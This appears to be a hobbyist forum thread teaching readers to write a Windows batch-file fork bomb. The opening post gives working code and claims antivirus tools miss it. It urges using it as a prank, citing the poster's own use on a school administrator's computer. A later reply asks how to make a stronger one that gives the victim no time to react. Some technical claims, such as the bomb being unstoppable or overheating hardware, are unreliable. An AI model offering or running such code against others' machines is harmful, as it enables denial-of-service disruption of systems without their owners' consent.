How to make a Fork Bomb (rabbit virus)

    Hey guys, haven't posted on here for a while, been honing my skills :D . And I 've got a new thing for all u guys to have fun with, its very easy and fun to do. Before we start coding ill explain what a fork bomb actually is.

    A fork bomb or rabbit virus opens an application for example cmd.exe so many times that its overloads the computers processor which results in the computer either overheating, shutting down or in some cases you can get a BSOD (blue screen of death). Unlike little batch viruses like the shutdown one you cannot stop a fork bomb unless you extremely 1337 so once it starts it goes until it does its job.

    Most Anti-Virus software will not pick a fork bomb or rabbit virus, as far as its concerned its just a batch file the opens and application.


    Fork Bombs aka Rabbit viruses have been around for ages due to their effectiveness to evade anti-virus software. I came across it when i wanted to play a practical joke on my schools administrator for his birthday. Just to let you know it worked and hes not some n00b. I find them very effective just don't bomb yourself. :D :D :D :D

    The code

    Ok this is the code that you type into notepad.exe remember to save it as a .bat or if you want it in a dorminant for save it as a .txt

    One more thing...I am not responsible if you kills your computer or somebody else computer with or without permission. Now that we have that out a the way here we go...

    Blocks of code should be set as style "Formatted" like this.
    START %0
    GOTO :s


    Have fun guys :crazy: :) :D

    excellent for example at the command prompt write a batch file like this and run that like this
    copy con test.bat
    cmd /k dir/s

    press F6 and save the file and run that

    sorry your system will hang check them once you are doing this ok

    Run this boy from a flash drive so you can see how it works and pull the drive to stop it.

    LOL. All it does is excute a series of commands. In this case it's called a virus because the loop never ends but after you stop running either by restarting or by pressing Ctrl+C you don't have to worry about it as long as you don't run it again. Plus at this age in computers in would take a more powerful fork bomb to make your computer crash especially if you have a lot of RAM. The reason why an AV doesn't recognize it is becuase its not really a virus. It's just a .bat file that overloads your RAM and therefore makes your computer crash. One this simple shouldn't really damage your CPU.

    How is it possible to make a more power punching fork bomb to crash a computer, not giving the user time to try and retaliate?
